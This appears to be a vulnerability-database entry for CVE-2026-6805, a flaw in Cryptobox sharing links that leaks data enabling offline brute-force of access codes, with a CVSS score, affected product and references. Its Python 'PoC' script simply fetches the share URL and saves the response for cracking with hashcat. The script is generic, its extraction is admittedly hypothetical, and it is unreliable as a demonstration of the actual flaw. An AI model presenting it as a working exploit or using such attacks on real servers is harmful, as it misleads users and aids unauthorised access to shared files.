CVE-2026-6805

Description

Vulnerability on the external sharing feature in Cryptobox allows an attacker knowing a sharing link URL to retrieve information from the server allowing an offline brute-force attack of the access code associated to this sharing link.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:thalesgroup:ercom_cryptobox:*:*:*:*:*:*:*:* - VULNERABLE

Cryptobox (具体版本未在描述中明确提及，参考文档v4.40)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target sharing link URL (must be known by attacker)
target_url = "https://target-cryptobox.com/share/unique_id"

try:
    # Send request to retrieve server information
    # Vulnerability allows retrieving info without authentication
    response = requests.get(target_url)
    
    if response.status_code == 200:
        print("[+] Successfully retrieved data from server.")
        # Extract leaked data (hypothetical logic)
        leaked_data = response.text
        print(f"[+] Leaked Data: {leaked_data}")
        
        # Save data for offline brute-force attack
        with open('hash_to_crack.txt', 'w') as f:
            f.write(leaked_data)
            
        print("[+] Data saved. Run offline attack (e.g., hashcat).")
    else:
        print("[-] Request failed.")
        
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6805
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6805
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6805/
[4] VulDB https://vuldb.com/cve/CVE-2026-6805
[5] https://info.cryptobox.com/doc/v4.40/4.40.en/

Raw JSON Data

JSON

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